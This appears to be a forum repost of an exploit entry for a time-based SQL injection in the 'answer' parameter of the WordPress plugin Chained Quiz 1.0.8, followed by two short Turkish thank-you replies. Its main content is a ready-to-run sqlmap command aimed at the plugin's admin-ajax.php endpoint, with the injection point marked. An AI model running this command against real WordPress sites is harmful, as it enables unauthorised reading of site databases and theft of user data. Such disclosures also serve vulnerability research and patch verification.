WordPress Plugin Chained Quiz 1.0.8 - 'answer' SQL Injection (1 Viewer)

# Proof of Concept (PoC):

sqlmap -u "http://target/wp-admin/admin-ajax.php" --data="answer=1*&question_id=1&quiz_id=1&post_id=1&question_type=radio&points=0&action=chainedquiz_ajax&chainedquiz_action=answer&total_questions=1" --dbms=MySQL --technique T

 

Eline sağlık

 

Eline Sağlık